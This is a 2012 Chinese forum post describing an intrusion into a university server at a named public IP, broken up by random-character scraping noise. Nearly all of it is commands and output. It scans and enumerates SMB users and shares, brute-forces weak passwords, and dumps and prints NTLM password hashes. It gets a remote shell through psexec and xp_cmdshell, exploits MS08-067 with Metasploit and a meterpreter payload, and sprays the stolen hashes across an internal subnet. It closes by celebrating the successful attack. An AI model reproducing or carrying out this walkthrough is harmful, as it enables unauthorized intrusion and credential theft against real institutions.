中国网络渗透测试联盟

标题: nmap+msf入侵广西师范 [打印本页]
作者: admin    时间: 2012-12-4 12:46
标题: nmap+msf入侵广西师范
广西师范网站http://202.103.242.241/
& B1 H( x! s) ]$ _: L4 p! z+ }! R; ~7 ^' Z( d6 z. j- T: {
root@bt:~# nmap -sS -sV 202.103.242.241
' |; a$ @0 T% J; W' d% I3 ^' V* K# S0 G
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST- i' ]  H1 @% [: P/ w4 g) l  R$ F

! C2 Y( C9 s" ^/ ?6 bNmap scan report for bogon (202.103.242.241)4 k; C5 [: O9 d8 ?

5 Y3 s) V3 g5 ]4 }3 N! KHost is up (0.00048s latency).
! R. g$ y+ @1 d! @5 O5 }5 M9 q1 O8 G4 @! k4 h2 X7 R# d- C
Not shown: 993 closed ports
! _/ l$ K+ d+ N- @5 V, N
' w0 G$ \) }: Q- RPORT     STATE SERVICE       VERSION
) B5 S5 A  [( ^5 x& W5 O7 C$ o% U% J8 |: g" \! \+ j, P6 T
135/tcp  open  mstask        Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
7 w0 x& U6 f) M5 ]& \: R- ~# b
, q. o; }( S4 D& C4 k6 }139/tcp  open  netbios-ssn
" }3 T0 Z/ e" B' P7 |
! ]/ a8 S' s. A, u2 H445/tcp  open  microsoft-ds  Microsoft Windows 2000 microsoft-ds# A3 X& O" i( N  A8 \" x+ s

9 a" P$ ~1 c! V4 r" A# z1025/tcp open  mstask        Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
+ A  Q( x5 _8 a0 P! h
! l; e1 X0 S. s+ T0 j1026/tcp open  msrpc         Microsoft Windows RPC; d+ Z2 \8 F8 E, K6 P

0 H6 Z7 ~; Z0 C3372/tcp open  msdtc?
/ L1 t: c7 q9 J# V# r
; b8 S' U/ W6 }& h0 S4 e* l( o3389/tcp open  ms-term-serv?
5 n% T0 z7 R, i2 i+ I
. Q6 W; B5 T) b2 g) I& y1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :. ?5 [9 t/ Q3 |, W8 `# d! u7 h" u
SF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r1 y2 W( P* O; }" C6 P8 T0 o. \. j
4 Q' L8 p6 K1 j1 q2 X
SFGetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions  Q& v+ }# c2 h7 |3 Z1 l% H

* O8 A& {0 H$ a) p0 X! F8 w, BSF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)
# Q9 `; O' S4 y6 E$ O0 n' U) d( @  a' o3 t$ X
SF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO5 B3 n2 c( V2 j! u  X! a' O

1 H! f1 A: c1 n5 q4 GSF:ptions,6,”hO\n\x000Z”);- t- _; X; x: a* |* o% u2 @

& }: T6 a( L# U' EMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
) J1 p; G% L' j# n
* c8 f; L! @4 k* dService Info: OS: Windows
3 r" {, ]8 S' Y* @) Q
, F% y2 I, c0 K& eService detection performed. Please report any incorrect results at http://nmap.org/submit/ .  o3 h6 i9 V' t0 a! B7 [* K. i3 K

7 c0 E% \: D1 X, p6 R# xNmap done: 1 IP address (1 host up) scanned in 79.12 seconds+ O% g$ E) B1 ^  r2 f0 [
6 [1 L+ j2 ]! V; }* U1 v
root@bt:/usr/local/share/nmap/scripts# ls -la | grep smb  //列出扫描脚本# |2 q7 s5 a, X% l

& z& J5 R+ h' O1 X-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse; O: \1 }9 N, \% Q5 @! |; X% c
$ S9 s. O) D) N, ?1 X
-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse
3 A$ m7 {0 }6 S
; z, m5 u- \! ?& {-rw-r–r– 1 root root  4806 2011-07-09 07:36 smb-enum-domains.nse; {1 h$ N1 F3 x/ @0 D7 A
, R9 J" Y5 X: S* E
-rw-r–r– 1 root root  3475 2011-07-09 07:36 smb-enum-groups.nse
" p$ T- m  y. Q0 B" a: Q
! f- E/ L& ^# \1 u' t-rw-r–r– 1 root root  7958 2011-07-09 07:36 smb-enum-processes.nse; C9 }+ j" c0 q& b

5 r$ a4 @) l) [0 ?-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse
# s9 [& _" k' n( h& [# M1 ~4 u9 k  J& p9 P4 C5 ]/ j7 V
-rw-r–r– 1 root root  6014 2011-07-09 07:36 smb-enum-shares.nse1 R7 B' D# s6 O

0 r( V( K: m, C6 I- d% u! K-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse/ L# {6 [: `$ s4 q, c

$ g* z  x+ j- r/ W$ n7 E1 z7 w-rw-r–r– 1 root root  1658 2011-07-09 07:36 smb-flood.nse
0 H0 O- b7 ?$ v% D7 F. h# n
! Q7 u& F! V. F* P; J2 W-rw-r–r– 1 root root  2906 2011-07-09 07:36 smb-os-discovery.nse
, I7 c, o% V: s6 U4 l+ X3 L) j% I5 w
-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse9 i% f) N9 Z. r5 @- G) y# C7 y. }

( i* d. x6 \& v" V-rw-r–r– 1 root root  4362 2011-07-09 07:36 smb-security-mode.nse1 }9 y0 @" c6 z7 R8 ~

* n9 H; G, u. o/ }-rw-r–r– 1 root root  2311 2011-07-09 07:36 smb-server-stats.nse' E7 ]8 D5 J2 U% P, a9 M% e5 }. M
. e, T8 p6 P7 |' H0 Y4 A
-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse0 e+ n0 y: S' @' D, O3 q9 M5 I

1 p1 b8 t! A# ^: O6 F7 C) z3 d. h-rw-r–r– 1 root root  1429 2011-07-09 07:36 smbv2-enabled.nse
' E% q/ h) O$ i% C2 }: L3 X: V
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241   
) X) D: s& g8 V
! ], [+ V/ V+ p5 E/ s//此乃使用脚本扫描远程机器所存在的账户名$ v( ^3 @( N6 {8 h+ s4 {4 M
4 Y/ U3 x. G3 }7 ]* T9 ~' g
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST4 M$ ^; D  n; M& L
4 C' \. o0 Z% w7 e" N; M! s
Nmap scan report for bogon (202.103.242.241)
) U3 b. r1 m, L5 }" k
# l# O! i. _+ T7 x. J& @Host is up (0.00038s latency).1 Z, l3 Q. T% W4 Y4 u5 B/ t

4 Q8 E/ p& @: N- pNot shown: 993 closed ports
! g, y8 i, U6 W+ b4 B& a7 z6 ~% T) V9 A8 j( S$ o
PORT     STATE SERVICE* u  f1 u( B* D0 J: F

2 q, v0 |& p- ]+ q9 f135/tcp  open  msrpc
3 q7 |* C9 a( a3 \8 @7 M3 x$ m0 [- z
: I+ A/ S. `' m" M139/tcp  open  netbios-ssn. l9 L7 t' K& f9 ]

  H9 e+ h( O2 r/ J445/tcp  open  microsoft-ds2 F# F' `& R3 B) D) C

( Z5 e3 a. I3 c  |1025/tcp open  NFS-or-IIS
' M: z9 Y: D0 E$ q, M( I( N) u  g. `6 f
1026/tcp open  LSA-or-nterm
( f; M1 U# ^6 ^# O
7 e7 q/ [  O4 B' u3372/tcp open  msdtc
! [3 m; i: c0 f6 x: c/ j
1 X" o8 W4 {! r& J3389/tcp open  ms-term-serv' C8 O+ a. ?: f" n8 V* `( G
  l- {7 Z9 u  ^  L& P5 g0 {
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)" a, {4 u/ b6 `4 v1 Q& _

* G- r- h7 m1 r9 s7 EHost script results:2 e$ Z+ l1 x4 K: u& w' p' R
# z+ Z8 `& I4 G
| smb-enum-users:
3 }& t/ ?0 ?# J2 E7 Y$ U3 R% d2 L6 V5 T" S* n. V
|_  Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果, m4 s" y. u* D! _- e. }

, ^2 B: {  w7 L1 h& QNmap done: 1 IP address (1 host up) scanned in 1.09 seconds
5 d) Y5 ]2 }& y. u4 B/ d3 \' ]5 E% ]- S8 Q
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241 ) X7 L1 s1 [5 ^% w

3 {3 o/ L+ K% P; A//查看共享5 \# ^( M9 x) z3 r- n

$ z" K' w# M6 X% jStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST
8 b; k% A  F5 c) C! d- k# v/ c/ L
Nmap scan report for bogon (202.103.242.241)
) r" Z% y; d' b$ Q/ ~" p) A" ^& Z: l( T8 S# V) v
Host is up (0.00035s latency).
8 p  _- F0 J2 U1 C: F" }5 `+ D1 o- N5 ]" C: h
Not shown: 993 closed ports3 M* b# J* P5 m  y

3 o+ W4 X+ ~7 S' E6 l  d$ mPORT     STATE SERVICE
1 [; ^5 i. k( @+ I5 b2 Y# \8 b1 U2 n8 s) @1 |
135/tcp  open  msrpc
+ ]* a$ h) {& m+ i  W! o7 ?/ e) f+ f* p
139/tcp  open  netbios-ssn/ Q: n4 K/ [% R: y
9 Q) t0 \  a4 f# v& S0 W
445/tcp  open  microsoft-ds
1 ]9 L9 W/ e5 |. {$ [, Y8 Q0 j5 W  x  f2 m1 ]! {: j
1025/tcp open  NFS-or-IIS7 c, O7 U" z% R5 b  O, f9 s

2 G0 G7 e; O6 \; ~1026/tcp open  LSA-or-nterm
; \( t3 a6 r1 ~1 A
8 |4 k$ f: P9 H% p4 n. `3372/tcp open  msdtc
; _: r$ L- Q! D1 k1 m
" L4 m; X* u2 N3389/tcp open  ms-term-serv
$ P. _$ W$ {. p9 ^+ Z; @, l: a/ u  i  [7 @) i
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
3 m' x6 B1 o+ I8 ^3 i
5 y4 J3 I" j1 g8 y$ CHost script results:- _% _1 D" d1 x- f7 {
3 z! m: [" F# `* X+ r" g3 |& R
| smb-enum-shares:
( R& C+ b$ Y9 t- g0 T: a* f) d$ G' V7 ?7 b, a
|   ADMIN$; H+ o7 @# l* L/ P) J8 S
+ [% q, y! m8 t! N' z$ o' K' v2 X: p
|     Anonymous access: <none>
: N1 C2 q  I' ?( Q9 v
3 [, x! W6 r, W. b|   C$
( v: r2 Q; ?. x; _- D
; O9 S/ S% w* N. l|     Anonymous access: <none>
0 h0 D* _- `" w# @+ \. Q
) `8 F& T+ V/ `|   IPC$  t* O% k! U* |3 s" G9 ~

; c2 Y2 t9 H6 q! C# d( |9 A|_    Anonymous access: READ* H# _+ N( g" }- P# m
) V2 z% ]9 F4 r; j7 Q; h/ ^$ A
Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds
; p) M% n( Y/ q9 D5 |2 m5 h
/ K* o8 q" e! @7 eroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241       ( V, d# W# E- V6 A) J4 |8 P) o

) H- x" s# @7 H! T3 N$ |//获取用户密码
& T- `5 H: h# ]- l% X* k. ^! F" K- S7 a; }% j% y, ^3 ?. ^9 I+ \7 `
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST
7 k( i* \3 P$ x" z" n& ]% X4 x5 x2 M% s7 T% W. v0 j. B, H2 }
Nmap scan report for bogon (202.103.242.2418)
* O# r+ k5 u% P  ^! A- A, C! d% a6 ?
Host is up (0.00041s latency).( r& N& i5 C+ R0 g8 U

% F- x' C6 P/ i- RNot shown: 993 closed ports* n3 V; g6 J5 Z4 }0 K6 t

' U. _' W4 ^, w7 BPORT     STATE SERVICE
$ R3 ^# i2 U9 b3 I: t+ E* ^. e/ w! C1 q3 Z( T8 t5 \
135/tcp  open  msrpc
' e( ~+ q- L& e$ f% t/ J
) z5 v; c/ r! z6 V139/tcp  open  netbios-ssn
% C. R7 Q/ F- E! c: ^
& H7 y0 |) {. A' W4 |# t/ o445/tcp  open  microsoft-ds3 i0 L# {' X' X6 p( x

& U' `1 _5 R+ f% a" k( d4 D& U1025/tcp open  NFS-or-IIS
' p4 w) y+ N- \, I! v! F5 l/ Q+ a/ w
1026/tcp open  LSA-or-nterm6 M" n9 `5 J7 K1 }' N  R! M6 K
2 i1 w' A3 g  @$ g
3372/tcp open  msdtc( l/ C/ @* B) J  d6 g
3 R' `% ?- P. c4 [+ v5 Y
3389/tcp open  ms-term-serv0 [8 w2 p: m. y

. z; T% R9 M/ NMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
( r9 Z5 t# y. S) Y
; K5 x8 a% e" i3 ^! e! p0 _Host script results:
! `% `( `* `8 r/ t* T2 K  q' J1 v& |; e; W: Y; l& x
| smb-brute:
  g; O  V; g# M5 y2 M1 U4 H7 h; m$ S! `- @& n; M4 L/ T- a
administrator:<blank> => Login was successful
; }. J6 f* d! F' Y) R. ~0 _' }% T9 L0 ]8 Z, t
|_  test:123456 => Login was successful
# w& O, m! Z$ n$ ]8 p
7 Q! a1 L$ {. b9 J+ y6 t. FNmap done: 1 IP address (1 host up) scanned in 28.22 seconds
$ A! d, \0 o, a. ^4 O' J5 ?. c  n  p; d. S
root@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash
5 N# o# D; Y" d0 a- q' f, ^7 Z, V  J. f: A" H3 Y( Z+ A
root@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data$ O2 M- q. n  o; ?
! p5 g/ `3 Z& D4 Q# V3 ?# n
root@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse
( c2 `- r3 G! q
6 o+ @* Y  T4 U( J# qroot@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139  O& S( q, _7 o/ V2 z1 t0 J4 ?$ K. N) u

. n) j0 f" k' Z1 YStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST
4 K  o+ U, _  X" E6 P% L2 p  l' s2 m9 R7 s7 f" E9 t
Nmap scan report for bogon (202.103.242.241)
. Y; f3 y! M9 [5 Z( A( ^" x& y! v4 G: M7 f
Host is up (0.0012s latency).0 Q1 C% G0 x. w' \5 v
" k1 Y0 _; N% b
PORT    STATE SERVICE
& M2 }) m: R5 J. x  o) K$ O, t& K
135/tcp open  msrpc
: `) S- ~8 o. J9 M' T% N# e$ R& F/ F
3 w& ^$ l) P8 _! `139/tcp open  netbios-ssn" M1 X% ?0 ~3 u* l- e! E" ^9 l

& u" e) J" D2 N5 R7 v1 H# R% g/ c445/tcp open  microsoft-ds
9 L6 t8 f7 B; B
3 \, ~' o( c$ E- W4 T+ F9 }MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)# C: n  V; X% }9 N  `4 G
# R$ c# p# f  ]9 C4 O; x9 K3 X$ i* |
Host script results:% D* m( l0 Z2 c

8 j6 B+ D$ J* \  H/ I" S| smb-pwdump:3 f9 I# w, ^* w3 t3 _

& {4 N5 v+ i, A| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************+ J- q- n8 }0 a2 w: w9 q/ {5 Q
* J4 |) f/ a3 d1 X; e( t. g) x
| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************( E  o- ?* W$ y9 c8 |% X; M. I% v# w
/ B2 R5 F/ d: d& x
| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4- f& ?0 ^# v5 N$ z) n; v- Q

. e9 N; }' N/ l  F|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2
: R# t6 C: u; ~/ Q4 Q; W# q; v; c$ B. [
Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds
! Y: D/ f! Y/ B+ U
+ u" L/ x9 K+ u' JC:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241  -u test             //获取一个cmdshell% R! y2 |- f8 f' b! b- i3 n9 X- L9 K
) K2 s- u. J" o
-p 123456 -e cmd.exe
0 b! x' M. I7 {% K0 R
* Y, {* ^: O0 R' h& @+ {PsExec v1.55 – Execute processes remotely; R" J+ r) l# T: _4 J% J
5 d$ G4 q+ U/ C: l" ~; o+ _+ ~
Copyright (C) 2001-2004 Mark Russinovich: E0 m- B5 o' _/ K# |8 a* s/ K- c

$ }- E' @) e5 @+ NSysinternals – www.sysinternals.com7 z$ M" B3 c  D6 U& B% q, Y- X
0 g! d  J* j: e, y
Microsoft Windows 2000 [Version 5.00.2195]
% ^$ Y9 P& l! Q) R
, m$ g$ H0 ]) A5 s(C) 版权所有 1985-2000 Microsoft Corp.+ P' o6 T" L- A$ J2 K
# q9 U+ P+ O: f1 D
C:\WINNT\system32>ipconfig
2 L" ]- A$ I! T5 A0 ^! |
$ t& q( |4 R3 K3 q1 f) ~2 ]; @Windows 2000 IP Configuration7 @/ Y! |/ m8 O  [2 O* m
: C0 h% q2 j, O
Ethernet adapter 本地连接:
9 P7 [5 }7 d  Q  G+ Z2 Q% s4 V$ U! |1 X
Connection-specific DNS Suffix  . :
# I) @7 ^* W0 ~: P2 a/ C) |0 B& x1 R/ D& U
IP Address. . . . . . . . . . . . : 202.103.242.241
4 F* {$ e0 U2 I8 G! Z2 \% m9 H# R1 u) p. J: w& |- v% o, c
Subnet Mask . . . . . . . . . . . : 255.255.255.0( g! D* N( p0 u* ~6 L+ v
' [5 j1 z4 O1 H3 w; u. j* ~% ?
Default Gateway . . . . . . . . . : 202.103.1.1
: l; B- b" b( K, w3 x  L% J+ x0 y2 v+ A; v3 |# E1 v" J9 ^6 T
C:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “   //远程登录sa执行命令% ^  |& ~! ?/ W; l4 j: a3 }& s
6 o7 R: V$ {2 V
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241     //检测目标机器漏洞
, _5 I, A8 T: T; i. A4 @3 H0 ~1 l! a
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST
& J( F- x1 C0 |/ X6 m( {8 S0 P) f+ j+ L) `
Nmap scan report for bogon (202.103.242.241)
8 \3 O/ I( V' D: C
: V: w$ i% |7 z! [" VHost is up (0.00046s latency).9 X3 E* M% S* p9 B1 ?3 a* M0 d
! d( z+ w8 Q. o$ {/ G
Not shown: 993 closed ports) r* _# r) M0 S, H

" I6 H+ g( p& ?0 ~+ c% \1 M8 [PORT     STATE SERVICE
1 K% w  `- N8 ~7 H6 H0 x$ s8 }$ F$ y. f
135/tcp  open  msrpc
* h0 b9 N2 w8 I6 j- O" f" g* f3 b) a( |" \% y2 L7 `' g8 y& q; n
139/tcp  open  netbios-ssn+ O" g, M4 a0 f# [) ^
0 B) v4 R& `. t: o& k
445/tcp  open  microsoft-ds
/ n( `: [& |1 b$ x/ ~
. N* z( B, j7 D1025/tcp open  NFS-or-IIS
, c: a; T1 E5 e7 S! x5 W: o5 Z8 B
5 [$ j9 |0 q+ h" C. y- R1 t( g1026/tcp open  LSA-or-nterm
3 r- C% _! D1 u4 Z4 l' I2 j% ^8 [! G% s7 R' O* t) q- E
3372/tcp open  msdtc0 N) d: p# t- e$ h" a" J
' e( s  g* V: [+ _# Y/ D
3389/tcp open  ms-term-serv, R- Q" X& i: l& Z" S- W

& i* ^4 b" y+ `# vMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems): u( q* Q  k. `1 z

- r6 y0 A4 D4 \% h& r4 J( zHost script results:
$ _* S  m& W' y3 n2 r2 l& [7 ]: u5 }. j. `' W" q4 N! h
| smb-check-vulns:# Y( x3 u1 {( g% e) {, V
- U; B. j2 D  a1 F: w6 c3 l5 ]
|_  MS08-067: VULNERABLE. T% E$ w9 y" N
) ^0 g) o: l, z4 `5 [* r
Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds
. X' h0 I4 m) X% o3 o" `. F4 g& V& Z" I$ f8 w( H
root@bt:~# msfconsole                                             //在msf上利用ms08-067漏洞对目标机器进行溢出
+ E- i, h" T! [4 N' d8 f- }
- o" W  f6 y. R& tmsf > search ms08$ V% o2 N. S+ Z/ P! F1 c" \' O9 K
6 M; A; |" ^1 k5 Y0 s' _1 n
msf > use exploit/windows/smb/ms08_067_netapi
' M& C  L: O: E7 R9 V7 M8 ^
$ e# u& v# F3 j) |+ Y# \3 [4 Hmsf  exploit(ms08_067_netapi) > show options
5 k. ~- S) ?0 B2 ^( C& w
* p5 a+ R( w3 G! Tmsf  exploit(ms08_067_netapi) > set RHOST 202.103.242.241/ Q7 g8 l( }! F% u8 P# v- m
+ o3 o) Q! `- }3 w" ]/ Z; E
msf  exploit(ms08_067_netapi) > show payloads
: t( e4 T5 w9 _, V7 O. A9 E/ V$ y* p  i5 S6 b. s, o4 s4 y
msf  exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
7 d" V9 o+ [) X, T
0 x+ X: c& }0 `1 Xmsf  exploit(ms08_067_netapi) > exploit6 R9 A* f+ x' F' K

1 z: z5 R5 A3 V4 k7 Hmeterpreter >
; `9 `+ x2 ?0 q. R& K1 j% \6 y5 G% u6 k& R0 Q
Background session 2? [y/N]  (ctrl+z)
3 J9 z/ h7 p. [
, u. j( z5 f, K0 z$ [# _( ymsf  exploit(ms08_067_netapi) > sessions -l  o0 B5 f+ J1 p4 g+ O, m
  m, Z) w! @! w2 K- _) j* P& G
root@bt:/usr/local/share/nmap/scripts# vim usernames.txt
- \- h4 u5 t- t, Z$ _/ b
, q2 `/ e' Y% s+ Y, `# Utest* E+ v- E9 Z/ W. N* `% s
7 l7 w! |. E) `  M/ ^  w0 x. q. o
administrator6 R$ e* c. a, C0 F; R  ~
7 D8 y, r7 V* v5 H, P8 Q7 p
root@bt:/usr/local/share/nmap/scripts# vim password.txt1 q& G# [' B4 |5 t4 n8 \

# [1 X) R" a/ A44EFCE164AB921CAAAD3B435B51404EE/ Z9 y4 i; n' H, j, h+ K' o

) K2 ~8 g' X7 F0 N% Groot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254
/ p: ~" K2 {4 p9 g( N* e& O( \
1 H: \0 W1 t, x3 T //利用用户名跟获取的hash尝试对整段内网进行登录* g& W8 b$ E6 z& o: v/ S8 c- Z5 N

/ s' w( G8 Q" rNmap scan report for 192.168.1.1053 j+ j* ?) J, \. Y- E
0 W' C5 H, s6 p, S
Host is up (0.00088s latency).9 t6 ?8 m  |4 W6 x; m

& j$ e" E4 S3 u8 U/ JNot shown: 993 closed ports
7 g2 X% u( x/ r6 D4 ^$ f: x5 ~* I
PORT     STATE SERVICE3 T4 m  d3 Z4 i- k$ Y' }$ \
, G: v" ]% e4 g
135/tcp  open  msrpc1 T* g1 q% n% K! V9 x+ T# r" I9 J6 I1 a
6 S3 r4 ~  ]& J0 e1 m+ J
139/tcp  open  netbios-ssn# B/ ]2 K' g& g, t' `0 ~3 l

& S/ R% S0 [3 H! b- u/ Y445/tcp  open  microsoft-ds
# u) [, ^' F; d: `
# H4 Q: P3 R% z8 P; [- @1025/tcp open  NFS-or-IIS4 a( g/ _/ _6 b
6 q+ ^8 E; f/ B' w* n# \
1026/tcp open  LSA-or-nterm' w* I0 }: p5 H  {$ E' Z' W
9 t( [, G1 x8 L" o
3372/tcp open  msdtc
8 ]: z/ s) i. }2 z' K' W' I. T/ H1 o. S# F; t! M6 F
3389/tcp open  ms-term-serv
+ n# E! I$ ?7 `$ r6 ^6 Z
" v3 ]1 R9 H9 E! k8 s# \" s/ d  G& s; NMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems). {8 P, A0 g# Z+ j" j
6 p$ [, V+ N. N  T: i1 a
Host script results:+ t7 {8 K- V" Z! ~4 H4 u
. X6 C  A9 C+ C1 j4 Y6 m
| smb-brute:) g; _6 _2 J  b) m* r3 @
0 {5 @& {1 [* Z
|_  administrator:<blank> => Login was successful
$ B! b$ z/ F2 O: N' |  ?% h' {9 D0 D( l
攻击成功，一个简单的msf+nmap攻击~~·2 |# B& e/ Z' Q$ I7 o, v* q6 u
- y, t0 N- G3 b* Z# v




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2